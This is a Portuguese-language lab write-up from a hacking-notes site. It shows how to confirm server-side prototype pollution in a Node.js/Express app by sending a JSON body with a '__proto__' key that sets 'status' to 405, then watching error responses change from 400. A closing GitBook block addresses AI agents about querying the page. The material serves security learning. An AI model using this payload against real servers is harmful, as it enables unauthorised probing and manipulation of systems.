> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/prototype-pollution/detection-without-reflection-of-modified-properties.md).

# Detecção sem Reflexão de Propriedades Modificadas

### Detectando poluição de protótipo no lado do servidor sem reflexão da propriedade poluída

**Contexto do laboratório**

Este laboratório roda em **Node.js** por **Express**. Ele é vulnerável a uma **poluição de protótipo no lado do servidor** porque a **aplicação de merge (merge) é insegura** a partir de dados controlados pelo usuário em um objeto do servidor JavaScript.

Objetivo: **confirmar a vulnerabilidade** como `Object.prototype` poluente **visível, mas não destrutivo**, apenas por meio de uma mudança no comportamento do servidor (sem necessidade de explorar mais).

Credenciais: `wiener:peter`.

<figure><img src="/files/11c03fef63b4d2b5cded30ff5200ce5a0d0b2366" alt=""><figcaption></figcaption></figure>

**Dados enviados pela aplicação (endereço)**

Ao modificar o endereço de Cobrança / Entrega, o navegador envia um JSON semelhante para:

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU"
}
```

**Gere um erro controlado para observar a resposta**

Se você forçar um erro de análise JSON (por exemplo, apagando uma aspas), você obtém uma resposta **400** e o servidor retorna um objeto de erro em que o `corpo` contém nossa carga útil (reflete):

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU
}
```

Resposta típica:

```json
{
  "erro": {
    "expose": true,
    "statusCode": 400,
    "status": 400,
    "corpo": "{/"address_line_1/":/"Wiener HQ/",/"address_line_2/":/"One Wiener Way/",/"city/":/"Wienerville/",/"postcode/":/"BU1 1RP/",/"country/":/"UK/",/"sessionId/":/"P72CQIVn4eYngmsyw4efwGYTXt3RSMrU/r/n}",
    "type": "entity.parse.failed"
  }
}
```

<figure><img src="/files/b4b1f4c7231eee484b3424544e72e58aafdc8888" alt=""><figcaption></figcaption></figure>

**Ideia: prova de poluição sem reflexão direta**

Em vez de esperar ver uma propriedade poluída retornada ao corpo, pode-se buscar uma **mudança de comportamento mensurável**, por exemplo o \*\*código HTTP\*\* retornado durante um erro.

Aqui, o servidor usa (ou propaga) campos como `status` / `statusCode`. Se conseguirmos poluir `Object.prototype.status`, então, em erros futuros, o Express (ou o manipulador de erros) pode recuperar esse valor via a herança do protótipo → o servidor retornará um diferente **status**.

**Tentativa de poluição via `__proto__`**

Um `__proto__` a chave é injetada no JSON (em uma consulta JSON válida, não em uma consulta quebrada), por exemplo:

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU,
  "__proto__": {
    "status": 405
    }
}
```

<figure><img src="/files/b60c1f783542edf7343c9260340ea1a3d30fbbac" alt=""><figcaption></figcaption></figure>

Efeito esperado: após essa poluição, **qualquer erro** (por exemplo, um erro de análise JSON proposital) agora pode responder com **405 em vez de 400**, porque `status` é herdado de `Object.prototype`.

**Resultado / validação**

* Antes da poluição: erros → `400`
* Após a poluição: erros → `405` (ou outro código escolhido)

<figure><img src="/files/a73f4e48f7d610709374828c45b1b98ba84cb2fc" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/prototype-pollution/detection-without-reflection-of-modified-properties.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
